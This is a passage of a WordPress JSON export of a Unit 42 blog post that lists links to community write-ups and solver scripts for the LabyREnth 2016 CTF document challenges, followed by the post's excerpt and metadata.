rel=\"nofollow,noopener\"  target=\"_blank\">https:\/\/dbheise.github.io\/2016\/08\/15\/2016-Palo-Alto-Labyrenth-CTF-Doc-03\/<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/uafio\/git\/blob\/master\/scripts\/labyREnth-2016\/labyrenth-2016-docs-3.txt\" rel=\"nofollow,noopener\"  target=\"_blank\">https:\/\/github.com\/uafio\/git\/blob\/master\/scripts\/labyREnth-2016\/labyrenth-2016-docs-3.txt<\/a><\/li>\n<\/ul>\n<h3>Document 4 Challenge<\/h3>\n<ul>\n<li><a href=\"https:\/\/dbheise.github.io\/2016\/08\/15\/2016-Palo-Alto-Labyrenth-CTF-Doc-04\/\" rel=\"nofollow,noopener\"  target=\"_blank\">https:\/\/dbheise.github.io\/2016\/08\/15\/2016-Palo-Alto-Labyrenth-CTF-Doc-04\/<\/a><\/li>\n<li><u><a href=\"https:\/\/github.com\/uafio\/git\/blob\/master\/scripts\/labyREnth-2016\/labyrenth-2016-docs-4.py\" rel=\"nofollow,noopener\"  target=\"_blank\">https:\/\/github.com\/uafio\/git\/blob\/master\/scripts\/labyREnth-2016\/labyrenth-2016-docs-4.py<\/a><\/u><\/li>\n<\/ul>\n<h3>Document 5 Challenge<\/h3>\n<ul>\n<li><a href=\"https:\/\/dbheise.github.io\/2016\/08\/15\/2016-Palo-Alto-Labyrenth-CTF-Doc-05\/\" rel=\"nofollow,noopener\"  target=\"_blank\">https:\/\/dbheise.github.io\/2016\/08\/15\/2016-Palo-Alto-Labyrenth-CTF-Doc-05\/<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/uafio\/git\/blob\/master\/scripts\/labyREnth-2016\/labyrenth-2016-docs-5.txt\" rel=\"nofollow,noopener\"  target=\"_blank\">https:\/\/github.com\/uafio\/git\/blob\/master\/scripts\/labyREnth-2016\/labyrenth-2016-docs-5.txt<\/a><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Thanks to the incredibly talented community of threat researchers that participated in LabyREnth, the Unit 42 Capture the Flag (CTF) challenge. Now that the challenge is closed, we can finally reveal the &hellip;<\/p>\n","protected":false},"author":138,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[133],"tags":[2145,2142,586],"coauthors":[1312,1588,1673],"class_list":["post-17284","post","type-post","status-publish","format-standard","hentry","category-events","tag-ctf","tag-labyrenth","tag-unit-42"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/posts\/17284","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/users\/138"}],"replies":[{"embeddable":true,"href":"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/comments?post=17284"}],"version-history":[{"count":3,"href":"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/posts\/17284\/revisions"}],"predecessor-version":[{"id":17389,"href":"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/posts\/17284\/revisions\/17389"}],"wp:attachment":[{"href":"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/media?parent=17284"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/categories?post=17284"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/tags?post=17284"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/coauthors?post=17284"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}